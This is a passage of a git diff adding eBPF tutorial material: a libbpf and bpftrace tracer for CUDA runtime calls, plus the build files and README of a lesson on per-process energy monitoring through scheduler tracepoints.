end of file diff --git a/src/47-cuda-events/cuda_events.c b/src/47-cuda-events/cuda_events.c new file mode 100644 index 00000000..66aa3de4 --- /dev/null +++ b/src/47-cuda-events/cuda_events.c @@ -0,0 +1,475 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +/* Copyright (c) 2023 */ +#include +#include +#include +#include /* For atoi() */ +#include +#include +#include +#include +#include +#include "cuda_events.h" +#include "cuda_events.skel.h" + +static struct env { + bool verbose; + bool print_timestamp; + char *cuda_library_path; + bool include_returns; + int target_pid; /* New field for target PID */ +} env = { + .print_timestamp = true, + .include_returns = true, + .cuda_library_path = NULL, + .target_pid = -1, /* Default to -1 (all PIDs) */ +}; + +const char *argp_program_version = "cuda_events 0.1"; +const char *argp_program_bug_address = ""; +const char argp_program_doc[] = +"CUDA events tracing tool using eBPF.\n" +"\n" +"It traces CUDA API calls and shows associated information\n" +"such as memory allocations, kernel launches, data transfers, etc.\n" +"\n" +"USAGE: ./cuda_events [-v] [--no-timestamp] [--cuda-path PATH] [--pid PID]\n"; + +static const struct argp_option opts[] = { + { "verbose", 'v', NULL, 0, "Verbose debug output" }, + { "no-timestamp", 't', NULL, 0, "Don't print timestamps" }, + { "no-returns", 'r', NULL, 0, "Don't show function returns" }, + { "cuda-path", 'p', "CUDA_PATH", 0, "Path to CUDA runtime library" }, + { "pid", 'd', "PID", 0, "Trace only the specified PID" }, + {}, +}; + +static error_t parse_arg(int key, char *arg, struct argp_state *state) +{ + switch (key) { + case 'v': + env.verbose = true; + break; + case 't': + env.print_timestamp = false; + break; + case 'r': + env.include_returns = false; + break; + case 'p': + env.cuda_library_path = arg; + break; + case 'd': + env.target_pid = atoi(arg); + break; + case ARGP_KEY_ARG: + argp_usage(state); + break; + default: + return ARGP_ERR_UNKNOWN; + } + return 0; +} + +static const struct argp argp = { + .options = opts, + .parser = parse_arg, + .doc = argp_program_doc, +}; + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + if (level == LIBBPF_DEBUG && !env.verbose) + return 0; + return vfprintf(stderr, format, args); +} + +static volatile bool exiting = false; + +static void sig_handler(int sig) +{ + exiting = true; +} + +/* Return human-readable event type */ +static const char *event_type_str(enum cuda_event_type type) +{ + switch (type) { + case CUDA_EVENT_MALLOC: return "cudaMalloc"; + case CUDA_EVENT_FREE: return "cudaFree"; + case CUDA_EVENT_MEMCPY: return "cudaMemcpy"; + case CUDA_EVENT_LAUNCH_KERNEL: return "cudaLaunchKernel"; + case CUDA_EVENT_STREAM_CREATE: return "cudaStreamCreate"; + case CUDA_EVENT_STREAM_SYNC: return "cudaStreamSynchronize"; + case CUDA_EVENT_GET_DEVICE: return "cudaGetDevice"; + case CUDA_EVENT_SET_DEVICE: return "cudaSetDevice"; + case CUDA_EVENT_EVENT_CREATE: return "cudaEventCreate"; + case CUDA_EVENT_EVENT_RECORD: return "cudaEventRecord"; + case CUDA_EVENT_EVENT_SYNC: return "cudaEventSynchronize"; + default: return "Unknown"; + } +} + +/* Return human-readable CUDA error code */ +static const char *cuda_error_str(int error) +{ + switch (error) { + case 0: return "Success"; + case 1: return "InvalidValue"; + case 2: return "OutOfMemory"; + case 3: return "NotInitialized"; + case 4: return "Deinitialized"; + case 5: return "ProfilerDisabled"; + case 6: return "ProfilerNotInitialized"; + case 7: return "ProfilerAlreadyStarted"; + case 8: return "ProfilerAlreadyStopped"; + case 9: return "InvalidConfiguration"; + case 10: return "InvalidPitchValue"; + case 11: return "InvalidSymbol"; + case 12: return "InvalidHostPointer"; + case 13: return "InvalidDevicePointer"; + case 14: return "InvalidTexture"; + case 15: return "InvalidTextureBinding"; + case 16: return "InvalidChannelDescriptor"; + case 17: return "InvalidMemcpyDirection"; + case 18: return "AddressOfConstant"; + case 19: return "TextureFetchFailed"; + case 20: return "TextureNotBound"; + case 21: return "SynchronizationError"; + case 22: return "InvalidFilterSetting"; + case 23: return "InvalidNormSetting"; + case 24: return "MixedDeviceExecution"; + case 25: return "NotYetImplemented"; + case 26: return "MemoryValueTooLarge"; + case 27: return "StubLibrary"; + case 28: return "InsufficientDriver"; + case 29: return "CallRequiresNewerDriver"; + case 30: return "InvalidSurface"; + case 31: return "DuplicateVariableName"; + case 32: return "DuplicateTextureName"; + case 33: return "DuplicateSurfaceName"; + case 34: return "DevicesUnavailable"; + case 35: return "IncompatibleDriverContext"; + case 36: return "MissingConfiguration"; + case 37: return "PriorLaunchFailure"; + case 38: return "LaunchMaxDepthExceeded"; + case 39: return "LaunchFileScopedTex"; + case 40: return "LaunchFileScopedSurf"; + case 41: return "SyncDepthExceeded"; + case 42: return "LaunchPendingCountExceeded"; + case 43: return "InvalidDeviceFunction"; + case 44: return "NoDevice"; + case 45: return "InvalidDevice"; + case 46: return "DeviceNotLicensed"; + case 47: return "SoftwareValidityNotEstablished"; + case 48: return "StartupFailure"; + case 49: return "InvalidKernelImage"; + case 50: return "DeviceUninitialized"; + case 51: return "MapBufferObjectFailed"; + case 52: return "UnmapBufferObjectFailed"; + case 53: return "ArrayIsMapped"; + case 54: return "AlreadyMapped"; + case 55: return "NoKernelImageForDevice"; + case 56: return "AlreadyAcquired"; + case 57: return "NotMapped"; + case 58: return "NotMappedAsArray"; + case 59: return "NotMappedAsPointer"; + case 60: return "ECCUncorrectable"; + case 61: return "UnsupportedLimit"; + case 62: return "DeviceAlreadyInUse"; + case 63: return "PeerAccessUnsupported"; + case 64: return "InvalidPtx"; + case 65: return "InvalidGraphicsContext"; + case 66: return "NvlinkUncorrectable"; + case 67: return "JitCompilerNotFound"; + case 68: return "UnsupportedPtxVersion"; + case 69: return "JitCompilationDisabled"; + case 70: return "UnsupportedExecAffinity"; + case 71: return "InvalidSource"; + case 72: return "FileNotFound"; + case 73: return "SharedObjectSymbolNotFound"; + case 74: return "SharedObjectInitFailed"; + case 75: return "OperatingSystem"; + case 76: return "InvalidResourceHandle"; + case 77: return "IllegalState"; + case 78: return "SymbolNotFound"; + case 79: return "NotReady"; + case 80: return "IllegalAddress"; + case 81: return "LaunchOutOfResources"; + case 82: return "LaunchTimeout"; + case 83: return "LaunchIncompatibleTexturing"; + case 84: return "PeerAccessAlreadyEnabled"; + case 85: return "PeerAccessNotEnabled"; + case 86: return "SetOnActiveProcess"; + case 87: return "ContextIsDestroyed"; + case 88: return "Assert"; + case 89: return "TooManyPeers"; + case 90: return "HostMemoryAlreadyRegistered"; + case 91: return "HostMemoryNotRegistered"; + case 92: return "HardwareStackError"; + case 93: return "IllegalInstruction"; + case 94: return "MisalignedAddress"; + case 95: return "InvalidAddressSpace"; + case 96: return "InvalidPc"; + case 97: return "LaunchFailure"; + case 98: return "CooperativeLaunchTooLarge"; + case 99: return "NotPermitted"; + case 100: return "NotSupported"; + case 101: return "SystemNotReady"; + case 102: return "SystemDriverMismatch"; + case 103: return "CompatNotSupportedOnDevice"; + case 104: return "StreamCaptureUnsupported"; + case 105: return "StreamCaptureInvalidated"; + case 106: return "StreamCaptureMerge"; + case 107: return "StreamCaptureUnmatched"; + case 108: return "StreamCaptureUnjoined"; + case 109: return "StreamCaptureIsolation"; + case 110: return "StreamCaptureImplicit"; + case 111: return "CapturedEvent"; + case 112: return "StreamCaptureWrongThread"; + case 113: return "Unknown"; + case 114: return "Timeout"; + case 115: return "GraphExecUpdateFailure"; + case 116: return "ExternalDevice"; + case 117: return "InvalidClusterSize"; + case 118: return "UnknownError"; + default: return "Unknown"; + } +} + +/* Return human-readable details for the event */ +static void get_event_details(const struct event *e, char *details, size_t len) +{ + switch (e->type) { + case CUDA_EVENT_MALLOC: + if (!e->is_return) + snprintf(details, len, "size=%zu bytes", e->mem.size); + else + snprintf(details, len, "returned=%s", cuda_error_str(e->ret_val)); + break; + + case CUDA_EVENT_FREE: + if (!e->is_return) + snprintf(details, len, "ptr=%p", e->free_data.ptr); + else + snprintf(details, len, "returned=%s", cuda_error_str(e->ret_val)); + break; + + case CUDA_EVENT_MEMCPY: + if (!e->is_return) + snprintf(details, len, "size=%zu bytes, kind=%d", + e->memcpy_data.size, e->memcpy_data.kind); + else + snprintf(details, len, "returned=%s", cuda_error_str(e->ret_val)); + break; + + case CUDA_EVENT_LAUNCH_KERNEL: + if (!e->is_return) + snprintf(details, len, "func=%p", e->launch.func); + else + snprintf(details, len, "returned=%s", cuda_error_str(e->ret_val)); + break; + + case CUDA_EVENT_SET_DEVICE: + if (!e->is_return) + snprintf(details, len, "device=%d", e->device.device); + else + snprintf(details, len, "returned=%s", cuda_error_str(e->ret_val)); + break; + + case CUDA_EVENT_STREAM_SYNC: + case CUDA_EVENT_EVENT_RECORD: + case CUDA_EVENT_EVENT_SYNC: + if (!e->is_return) + snprintf(details, len, "handle=%p", e->handle.handle); + else + snprintf(details, len, "returned=%s", cuda_error_str(e->ret_val)); + break; + + default: + if (!e->is_return) + snprintf(details, len, ""); + else + snprintf(details, len, "returned=%s", cuda_error_str(e->ret_val)); + break; + } +} + +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + const struct event *e = data; + struct tm *tm; + char ts[32]; + char details[MAX_DETAILS_LEN]; + time_t t; + + /* Skip return probes if requested */ + if (e->is_return && !env.include_returns) + return 0; + + time(&t); + tm = localtime(&t); + strftime(ts, sizeof(ts), "%H:%M:%S", tm); + + get_event_details(e, details, sizeof(details)); + + if (env.print_timestamp) { + printf("%-8s ", ts); + } + + printf("%-16s %-7d %-20s %8s %s\n", + e->comm, e->pid, + event_type_str(e->type), + e->is_return ? "[EXIT]" : "[ENTER]", + details); + + return 0; +} + +/* Define CUDA API functions to trace */ +struct cuda_api_func { + const char *name; + struct bpf_program *prog_entry; + struct bpf_program *prog_exit; +}; + +/* Attach a uprobe to a CUDA API function */ +static int attach_cuda_func(struct cuda_events_bpf *skel, const char *lib_path, + const char *func_name, struct bpf_program *prog_entry, + struct bpf_program *prog_exit) +{ + int err; + LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts); + + /* Skip attaching if program is NULL (might have been filtered out) */ + if (!prog_entry && !prog_exit) + return 0; + + /* Attach entry uprobe */ + if (prog_entry) { + uprobe_opts.func_name = func_name; + struct bpf_link *link = bpf_program__attach_uprobe_opts(prog_entry, env.target_pid , lib_path, 0, &uprobe_opts); + if (!link) { + fprintf(stderr, "Failed to attach entry uprobe for %s\n", func_name); + return -1; + } + } + + /* Attach exit uprobe */ + if (prog_exit) { + uprobe_opts.func_name = func_name; + uprobe_opts.retprobe = true; /* This is a return probe */ + struct bpf_link *link = bpf_program__attach_uprobe_opts(prog_exit, env.target_pid, lib_path, 0, &uprobe_opts); + if (!link) { + fprintf(stderr, "Failed to attach exit uprobe for %s\n", func_name); + return -1; + } + } + + return 0; +} + +int main(int argc, char **argv) +{ + struct ring_buffer *rb = NULL; + struct cuda_events_bpf *skel; + int err; + + /* Default CUDA library path if not specified */ + const char *cuda_lib_path = "/usr/local/cuda/lib64/libcudart.so"; + + /* Parse command line arguments */ + err = argp_parse(&argp, argc, argv, 0, NULL, NULL); + if (err) + return err; + + /* Override CUDA library path if specified on command line */ + if (env.cuda_library_path) + cuda_lib_path = env.cuda_library_path; + + /* Set up libbpf errors and debug info callback */ + libbpf_set_print(libbpf_print_fn); + + /* Cleaner handling of Ctrl-C */ + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + /* Load and verify BPF application */ + skel = cuda_events_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + /* Load & verify BPF programs */ + err = cuda_events_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + /* Define CUDA functions to trace and their corresponding programs */ + struct cuda_api_func cuda_funcs[] = { + {"cudaMalloc", skel->progs.cuda_malloc_enter, skel->progs.cuda_malloc_exit}, + {"cudaFree", skel->progs.cuda_free_enter, skel->progs.cuda_free_exit}, + {"cudaMemcpy", skel->progs.cuda_memcpy_enter, skel->progs.cuda_memcpy_exit}, + {"cudaLaunchKernel", skel->progs.cuda_launch_kernel_enter, skel->progs.cuda_launch_kernel_exit}, + {"cudaStreamCreate", skel->progs.cuda_stream_create_enter, skel->progs.cuda_stream_create_exit}, + {"cudaStreamSynchronize", skel->progs.cuda_stream_sync_enter, skel->progs.cuda_stream_sync_exit}, + {"cudaGetDevice", skel->progs.cuda_get_device_enter, skel->progs.cuda_get_device_exit}, + {"cudaSetDevice", skel->progs.cuda_set_device_enter, skel->progs.cuda_set_device_exit}, + {"cudaEventCreate", skel->progs.cuda_event_create_enter, skel->progs.cuda_event_create_exit}, + {"cudaEventRecord", skel->progs.cuda_event_record_enter, skel->progs.cuda_event_record_exit}, + {"cudaEventSynchronize", skel->progs.cuda_event_sync_enter, skel->progs.cuda_event_sync_exit}, + }; + + /* Print CUDA library path being used */ + printf("Using CUDA library: %s\n", cuda_lib_path); + if (env.target_pid) + printf("Filtering for PID: %d\n", env.target_pid); + + /* Attach to CUDA functions */ + for (size_t i = 0; i < sizeof(cuda_funcs) / sizeof(cuda_funcs[0]); i++) { + err = attach_cuda_func(skel, cuda_lib_path, cuda_funcs[i].name, + cuda_funcs[i].prog_entry, cuda_funcs[i].prog_exit); + if (err) { + fprintf(stderr, "Failed to attach to %s\n", cuda_funcs[i].name); + goto cleanup; + } + } + + /* Set up ring buffer polling */ + rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); + if (!rb) { + err = -1; + fprintf(stderr, "Failed to create ring buffer\n"); + goto cleanup; + } + + /* Process events */ + if (env.print_timestamp) { + printf("%-8s ", "TIME"); + } + printf("%-16s %-7s %-20s %8s %s\n", + "PROCESS", "PID", "EVENT", "TYPE", "DETAILS"); + + while (!exiting) { + err = ring_buffer__poll(rb, 100 /* timeout, ms */); + /* Ctrl-C will cause -EINTR */ + if (err == -EINTR) { + err = 0; + break; + } + if (err < 0) { + printf("Error polling ring buffer: %d\n", err); + break; + } + } + +cleanup: + /* Clean up */ + ring_buffer__free(rb); + cuda_events_bpf__destroy(skel); + + return err < 0 ? -err : 0; +} \ No newline at end of file diff --git a/src/47-cuda-events/cuda_events.h b/src/47-cuda-events/cuda_events.h new file mode 100644 index 00000000..ad58a70a --- /dev/null +++ b/src/47-cuda-events/cuda_events.h @@ -0,0 +1,64 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +#ifndef __CUDA_EVENTS_H +#define __CUDA_EVENTS_H + +#define TASK_COMM_LEN 16 +#define MAX_FUNC_NAME_LEN 32 +#define MAX_DETAILS_LEN 64 + +enum cuda_event_type { + CUDA_EVENT_MALLOC = 0, + CUDA_EVENT_FREE, + CUDA_EVENT_MEMCPY, + CUDA_EVENT_LAUNCH_KERNEL, + CUDA_EVENT_STREAM_CREATE, + CUDA_EVENT_STREAM_SYNC, + CUDA_EVENT_GET_DEVICE, + CUDA_EVENT_SET_DEVICE, + CUDA_EVENT_EVENT_CREATE, + CUDA_EVENT_EVENT_RECORD, + CUDA_EVENT_EVENT_SYNC +}; + +struct event { + /* Common fields */ + int pid; /* Process ID */ + char comm[TASK_COMM_LEN]; /* Process name */ + enum cuda_event_type type;/* Type of CUDA event */ + + /* Event-specific data */ + union { + struct { + size_t size; /* Size for malloc/memcpy */ + } mem; + + struct { + void *ptr; /* Pointer for free */ + } free_data; + + struct { + size_t size; /* Size for memcpy */ + int kind; /* Kind of memcpy */ + } memcpy_data; + + struct { + void *func; /* Function pointer for kernel launch */ + } launch; + + struct { + int device; /* Device ID for set_device */ + } device; + + struct { + void *handle; /* Handle for stream/event operations */ + } handle; + }; + + /* Return value (for return probes) */ + int ret_val; + bool is_return; /* True if this is from a return probe */ + + char details[MAX_DETAILS_LEN]; /* Additional details as string */ +}; + +#endif /* __CUDA_EVENTS_H */ \ No newline at end of file diff --git a/src/47-cuda-events/cuda_malloc.bt b/src/47-cuda-events/cuda_malloc.bt new file mode 100644 index 00000000..7ee6e865 --- /dev/null +++ b/src/47-cuda-events/cuda_malloc.bt @@ -0,0 +1,30 @@ +#!/usr/bin/env bpftrace + +BEGIN +{ + printf("Tracing CUDA events... Hit Ctrl-C to end.\n"); + printf("%-12s %-16s %-12s %-20s %s\n", "TIME(ms)", "PROCESS", "PID", "EVENT", "DETAILS"); + printf("Using CUDA library: /usr/local/cuda-12.6/lib64/libcudart.so\n"); + printf("If this path is incorrect, please edit the script and update all probe definitions.\n"); +} + +// Memory allocation tracking +uprobe:/root/yunwei37/cuda-exp/basic07:cudaMalloc +{ + $size = arg1; + printf("%-12u %-16s %-12d %-20s size=%ld bytes\n", + elapsed/1000000, comm, pid, "cudaMalloc", $size); +} + +uretprobe:/root/yunwei37/cuda-exp/basic07:cudaMalloc +{ + $ret = retval; + printf("%-12u %-16s %-12d %-20s returned=%d (%s)\n", + elapsed/1000000, comm, pid, "cudaMalloc", $ret, + $ret == 0 ? "success" : "error"); +} + +END +{ + printf("Tracing complete.\n"); +} \ No newline at end of file diff --git a/src/48-energy/.config b/src/48-energy/.config new file mode 100644 index 00000000..d50f199a --- /dev/null +++ b/src/48-energy/.config @@ -0,0 +1,2 @@ +level=Depth +type=Tracing diff --git a/src/48-energy/.gitignore b/src/48-energy/.gitignore new file mode 100644 index 00000000..16fcd711 --- /dev/null +++ b/src/48-energy/.gitignore @@ -0,0 +1,35 @@ +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +.Python +venv/ +env/ +ENV/ + +# Energy monitoring data +*.csv +*.json +energy_log_* +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +bootstrap +energy_monitor +.output/ +*.skel.h + +# IDE +.vscode/ +.idea/ +*.swp +*.swo + +# OS +.DS_Store +Thumbs.db \ No newline at end of file diff --git a/src/48-energy/Makefile b/src/48-energy/Makefile new file mode 100644 index 00000000..9fc4e747 --- /dev/null +++ b/src/48-energy/Makefile @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../third_party/blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = energy_monitor # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/48-energy/README.md b/src/48-energy/README.md new file mode 100644 index 00000000..96d5e191 --- /dev/null +++ b/src/48-energy/README.md @@ -0,0 +1,635 @@ +# eBPF Tutorial: Energy Monitoring for Process-Level Power Analysis + +Have you ever wondered how much energy your applications are consuming? As energy efficiency becomes increasingly critical in both data centers and edge devices, understanding power consumption at the process level is essential for optimization. In this tutorial, we'll build an eBPF-based energy monitoring tool that provides real-time insights into process-level power consumption with minimal overhead. + +> The complete source code: + +## Introduction to Energy Monitoring and Power Analysis + +Energy monitoring in computing systems has traditionally been challenging due to the lack of fine-grained measurement capabilities. While hardware counters like Intel RAPL (Running Average Power Limit) can measure total system or CPU package power, they don't tell you which processes are consuming that power. This is where software-based energy attribution comes into play. + +When a process runs on a CPU, it consumes power proportional to its CPU time and the processor's power state. The challenge is accurately tracking this relationship in real-time without introducing significant overhead that would itself consume power and skew measurements. Traditional approaches using polling-based monitoring can miss short-lived processes and introduce measurement overhead that affects the very metrics being measured. + +This is where eBPF shines! By hooking into the kernel's scheduler events, we can track process CPU time with nanosecond precision at every context switch. This gives us: + +- Exact CPU time measurements for every process +- Zero sampling error for short-lived processes +- Minimal overhead compared to polling approaches +- Real-time energy attribution based on CPU time +- The ability to correlate energy usage with specific workloads + +## Understanding CPU Power Consumption + +Before diving into the implementation, it's important to understand how CPU power consumption works. Modern processors consume power in several ways: + +### Dynamic Power Consumption + +Dynamic power is consumed when transistors switch states during computation. It's proportional to: +- Frequency: Higher clock speeds mean more switching per second +- Voltage: Higher voltages require more energy per switch +- Activity: More instructions executed means more transistor switching + +The relationship is approximately: P_dynamic = C × V² × f × α + +Where C is capacitance, V is voltage, f is frequency, and α is the activity factor. + +### Static Power Consumption + +Static (or leakage) power is consumed even when transistors aren't switching, due to current leakage through the transistors. This has become increasingly significant in modern processors with billions of transistors. + +### Power States and DVFS + +Modern CPUs use Dynamic Voltage and Frequency Scaling (DVFS) to balance performance and power consumption. The processor can operate at different P-states (performance states) with varying frequency/voltage combinations, and enter C-states (idle states) when not actively computing. + +Our energy monitoring approach estimates energy consumption by multiplying CPU time by average power consumption. While this is a simplification (it doesn't account for frequency changes or idle states), it provides a useful approximation for comparing relative energy usage between processes. + +## Comparing Traditional vs eBPF Energy Monitoring + +To understand why eBPF is superior for energy monitoring, let's compare it with traditional approaches: + +### Traditional /proc-based Monitoring + +Traditional energy monitoring tools typically work by periodically reading `/proc/stat` to sample CPU usage. Here's how our traditional monitor works: + +```bash +# Read total CPU time for a process +cpu_time=$(awk '{print $14 + $15}' /proc/$pid/stat) + +# Calculate energy based on time delta +energy = cpu_power * (current_time - previous_time) +``` + +This approach has several limitations: + +1. **Sampling Error**: Processes that start and stop between samples are missed entirely +2. **Fixed Overhead**: Each sample requires reading and parsing `/proc` files +3. **Limited Precision**: Typical sampling intervals are 100ms or more +4. **Scalability Issues**: Monitoring many processes requires reading many files + +### eBPF-based Monitoring + +Our eBPF approach hooks directly into the kernel scheduler: + +```c +SEC("tp/sched/sched_switch") +int monitor_energy(struct trace_event_raw_sched_switch *ctx) { + u64 ts = bpf_ktime_get_ns(); + // Track exact time when process stops running + u64 delta = ts - previous_timestamp; + update_runtime(prev_pid, delta); +} +``` + +The advantages are significant: + +1. **Perfect Accuracy**: Every context switch is captured +2. **Minimal Overhead**: No polling or file parsing needed +3. **Nanosecond Precision**: Exact CPU time measurements +4. **Scalable**: Same overhead whether monitoring 1 or 1000 processes + +## Why eBPF for Energy Monitoring? + +The landscape of energy monitoring has evolved significantly, as detailed in the comprehensive survey of eBPF energy projects. Let me incorporate the key insights from the energy monitoring ecosystem: + +### Current State of eBPF Energy Projects + +The eBPF ecosystem for energy management is rapidly evolving across two main categories: mature telemetry solutions and emerging power control frameworks. + +**Energy Telemetry and Accounting (Production-Ready)** + +| Project | Capabilities | Implementation Approach | Status | +|---------|-------------|------------------------|---------| +| **Kepler** | Container/pod energy attribution for Kubernetes | eBPF tracepoints + RAPL + performance counters | CNCF sandbox project, production deployments | +| **Wattmeter** | Per-process energy tracking | Context-switch eBPF programs reading RAPL MSRs | Research prototype (HotCarbon '24), <1μs overhead | +| **DEEP-mon** | Container power monitoring | In-kernel eBPF aggregation of scheduler events | Proven academic approach, avoids userspace overhead | + +**Power Control via eBPF (Research and Development)** + +The emerging power control landscape represents the next frontier in eBPF energy management. **cpufreq_ext** stands as the first upstream-bound eBPF implementation that can actually modify CPU frequency through a `bpf_struct_ops` interface, allowing frequency scaling policies to be written in eBPF rather than kernel C code. + +Research prototypes include an **eBPF CPU-Idle Governor** that replaces traditional menu/TEO governors with eBPF hooks for dynamic idle state selection and idle injection. The conceptual **BEAR (BPF Energy-Aware Runtime)** framework aims to unify DVFS, idle, and thermal management under a single eBPF-based policy engine, though no public implementation exists yet. + +### Why Our Approach Matters + +Our energy monitor fits into the telemetry category but with a unique focus on educational clarity and comparison with traditional methods. eBPF's **event-driven architecture** fundamentally differs from polling-based approaches by reacting to kernel events in real-time. When the scheduler switches processes, our code runs immediately, capturing the exact transition moment with nanosecond precision. + +The **in-kernel aggregation** capability eliminates the overhead of sending every context switch event to userspace by maintaining per-CPU hash maps in the kernel. Only aggregated data or sampled events need to cross the kernel-user boundary, dramatically reducing monitoring overhead. Combined with eBPF's **safety guarantees** through program verification before loading, this creates a production-ready solution that can't crash the kernel or create infinite loops. + +Perhaps most importantly, eBPF enables **hot-pluggable analysis** where you can attach and detach the energy monitor without restarting applications or rebooting the system. This capability enables ad-hoc analysis of production workloads, something impossible with traditional kernel modules or instrumentation approaches. + +### Real-World Impact + +The practical benefits of eBPF energy monitoring are substantial across different deployment scenarios: + +| Use Case | Traditional Approach | eBPF Approach | Benefit | +|----------|---------------------|---------------|---------| +| **Short-lived processes** | Often missed entirely | Every microsecond tracked | 100% visibility | +| **Container monitoring** | High overhead per container | Shared kernel infrastructure | 10-100x less overhead | +| **Production systems** | Risky kernel modules | Verified safe programs 